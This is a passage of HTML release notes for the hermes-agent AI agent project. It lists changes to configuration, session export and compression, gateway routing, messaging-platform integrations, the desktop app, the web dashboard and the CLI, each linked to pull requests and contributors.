<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (<a href="https://github.com/NousResearch/hermes-agent/pull/67469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67469/hovercard">#67469</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67681/hovercard">#67681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67282/hovercard">#67282</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63086/hovercard">#63086</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; <code>/journey</code> opens the memory graph overlay (<a href="https://github.com/NousResearch/hermes-agent/pull/67206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67206/hovercard">#67206</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67209/hovercard">#67209</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67759/hovercard">#67759</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67472/hovercard">#67472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63520/hovercard">#63520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60457/hovercard">#60457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67029/hovercard">#67029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64598/hovercard">#64598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57267/hovercard">#57267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Full TypeScript conversion of the desktop tree (<a href="https://github.com/NousResearch/hermes-agent/pull/57855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57855/hovercard">#57855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (<a href="https://github.com/NousResearch/hermes-agent/pull/60569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60569/hovercard">#60569</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63699/hovercard">#63699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65361/hovercard">#65361</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64636" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64636/hovercard">#64636</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>)</li>
<li>Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; <code>browser.headed</code> schema toggle; profile + gateway topology on <code>/api/status</code>; mobile/hosted OpenAI OAuth login (<a href="https://github.com/NousResearch/hermes-agent/pull/60515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60515/hovercard">#60515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65895/hovercard">#65895</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61929/hovercard">#61929</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67046/hovercard">#67046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60537/hovercard">#60537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61330/hovercard">#61330</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><code>hermes serve</code> is a true headless backend (no web UI build/mount) (<a href="https://github.com/NousResearch/hermes-agent/pull/55923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55923/hovercard">#55923</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🧰 CLI &amp; TUI</h2>
<ul>
<li><code>/subscription</code> + <code>/topup</code> terminal billing (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
<li><strong><code>/model --once</code></strong> — one-turn model override that reverts automatically (<a href="https://github.com/NousResearch/hermes-agent/pull/67113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67113/hovercard">#67113</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496326587" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/29923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29923/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/29923">#29923</a>)</li>
